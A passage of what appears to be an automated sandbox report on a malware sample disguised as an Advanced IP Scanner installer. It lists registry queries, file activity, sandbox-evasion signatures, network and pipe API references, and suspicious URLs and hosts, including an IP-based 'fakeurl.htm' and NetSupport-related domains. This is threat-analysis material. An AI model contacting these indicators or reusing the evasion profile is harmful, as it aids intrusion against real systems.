Value: "") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "")66:T46a,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Able to identify virtual environment using user register activity Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Possibly tries to evade analysis by sleeping many times Matched sigs: Contains ability to detect sandbox (imports API) Matched sigs: Contains ability to detect presence of virtual environment (API string) Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Calls an API typically used to find device information67:Tdf5,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\unins000.dat" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-E4H59.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-RDOSR.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-VB04V.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-H2F8P.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-QLP43.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-9S9LT.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-EC0T8.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-LSJ97.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-A8E9A.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-1COUU.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-OD8LA.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-4O2OG.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-JJ78K.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-PSFQK.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-CRSQS.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-PSGRB.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-7ORPS.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-K8SVQ.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-1PUVN.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-ITTAG.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-VE2OO.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-QDAP6.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-9IQPI.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched file "C:\Program Files (x86)\Advanced IP Scanner\is-92QIO.tmp"68:T10a0,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" trying to access non-existent file "C:\FLTLIB.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-2BB8I.tmp\FLTLIB.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-2BB8I.tmp\CRYPTSP.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\UNINS000.EXE" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\unins000.exe" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\ADVANCED_IP_SCANNER.EXE" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\advanced_ip_scanner.exe" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\ADVANCED_IP_SCANNER_CONSOLE.EXE" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\advanced_ip_scanner_console.exe" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\api-ms-win-core-console-l1-1-0.dll" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\API-MS-WIN-CORE-DATETIME-L1-1-0.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\api-ms-win-core-datetime-l1-1-0.dll" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\API-MS-WIN-CORE-DEBUG-L1-1-0.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\api-ms-win-core-debug-l1-1-0.dll" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\api-ms-win-core-errorhandling-l1-1-0.dll" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\API-MS-WIN-CORE-FILE-L1-1-0.DLL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\api-ms-win-core-file-l1-1-0.dll" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\API-MS-WIN-CORE-FILE-L1-2-0.DLL"69:T96d,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IS-2BB8I.TMP" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-2BB8I.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-2BB8I.tmp\A1720D68EEF7DC381A533FD8584A227DB3DBCAED16098A0D7F31077F95355E8C.TMP.LOCAL" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp.Local\" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Windows\SysWOW64\UXTHEME.DLL.CONFIG" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IS-0DA6D.TMP" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-0DA6D.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\ADVANCED IP SCANNER" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Windows\WinSxS\FileMaps\PROGRAM_FILES_X86_ADVANCED_IP_SCANNER_4F66D1AA71385225.CDF-MS" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\IS-E4H59.TMP" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\is-E4H59.tmp" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\IS-RDOSR.TMP" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" trying to access non-existent file "C:\Program Files (x86)\Advanced IP Scanner\is-RDOSR.tmp"6a:T47f,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSARecv" (Indicator: "WSARecv"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSASendTo" (Indicator: "WSASend"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSASend" (Indicator: "WSASend"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSARecvDisconnect" (Indicator: "WSARecv"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "pWSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")6b:T10d3,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSARecv" (Indicator: "WSARecv"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSASendTo" (Indicator: "WSASend"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSASend" (Indicator: "WSASend"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSARecvDisconnect" (Indicator: "WSARecv"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001628-00000C2B-652456365") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001628-00000C2B-652507410") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001628-00000C2B-652510890") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001628-00000C2B-652513782") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00001628-00000C2B-653169630") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001628-00000C2B-653170499") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp")6c:T53e,Found reference to API "CreatePipe" (Indicator: "CreatePipe"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateNamedPipeA" (Indicator: "CreateNamedPipe"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreatePipe2" (Indicator: "CreatePipe"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "CreateNamedPipe %s failed, error %d" (Indicator: "CreateNamedPipe"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreateNamedPipeA" (Indicator: "CreateNamedPipe"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")6d:T710,Found reference to API "WNetGetConnectionA" (Indicator: "NetGetConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetAddConnection2A" (Indicator: "NetAddConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetEnumResourceW" (Indicator: "NetEnumResource"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetGetConnectionW" (Indicator: "NetGetConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetCloseEnum" (Indicator: "NetCloseEnum"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetAddConnection2W" (Indicator: "NetAddConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetGetConnectionA" (Indicator: "NetGetConnection"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "WNetAddConnection2A" (Indicator: "NetAddConnection"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "WNetEnumResourceW" (Indicator: "NetEnumResource"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp") Found reference to API "WNetGetConnectionW" (Indicator: "NetGetConnection"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp") Found reference to API "WNetCloseEnum" (Indicator: "NetCloseEnum"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp")6e:T4ab,Found reference to API "EnumPrintersA" (Indicator: "EnumPrinters"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "NetShareEnum" (Indicator: "NetShareEnum"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "EnumPrintersW" (Indicator: "EnumPrinters"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "EnumPrinters failed (2), error %d" (Indicator: "EnumPrinters"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "EnumPrinters failed (1), error %d" (Indicator: "EnumPrinters"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "EnumPrinters failed (4), error %d" (Indicator: "EnumPrinters"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "EnumPrinters failed (3), error %d" (Indicator: "EnumPrinters"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "EnumPrintersA" (Indicator: "EnumPrinters"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")6f:Teed,Found reference to API "WinHttpSetTimeouts" (Indicator: "WinHttpSetTimeouts"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpSetCredentials" (Indicator: "WinHttpSetCredentials"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpWriteData" (Indicator: "WinHttpWriteData"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpQueryAuthSchemes" (Indicator: "WinHttpQueryAuthSchemes"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpQueryOption" (Indicator: "WinHttpQueryOption"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpSetStatusCallback" (Indicator: "WinHttpSetStatusCallback"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "WinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp")70:T808,Pattern match: "https://jrsoftware.org/ishelp/index.php?topic=setupcmdline" Pattern match: "http://ocsp.thawte.com080604.http://crl.thawte.com/thawtetimestampingca.crl0timestamp-2048-10y@b%symantec" Pattern match: "www.usertrust.com1utn-userfirst-object0151231000000z190709184036z0greater" Pattern match: "https://sectigo.com/cps0" Pattern match: "spj-spj.spj/spj0spjdspjespjfspjgspjhspjispjjspjkspjlspjmspjnspjosjpj8spj9spj:spj;spj" Pattern match: "http://sw.symcb.com/sw.crl0`y0w0u0l0#https://d.symcb.com/cps0%https://d.symcb.com/rpa0l0j0http://sw.symcd.com0'http://sw1.symcb.com/sw.crt0@gzxus'unverisign" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0h" Pattern match: "http://151.236.16.15/fakeurl.htm" Heuristic match: "geo.netsupportsoftware.com" Heuristic match: "payiki.com" Heuristic match: "testmycdn.azureedge.net" Pattern match: "http://www.uninetutility.com" Pattern match: "http://www.uninetutility.com/support" Pattern match: "http://www.uninetutility.com/update" Heuristic match: "eo.netsupportsoftware.com" Pattern match: "geo.netsupportsoftware.com/location/loca.asp" Heuristic match: "etsupportsoftware.com" Heuristic match: "netsupportsoftware.com" Pattern match: "http://geo.netsupportsoftware.com/location/loca.asp" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "tt@.tt" Heuristic match: "host: geo.netsupportsoftware.com" Pattern match: "http://geo.netsupportsoftware.com" Heuristic match: 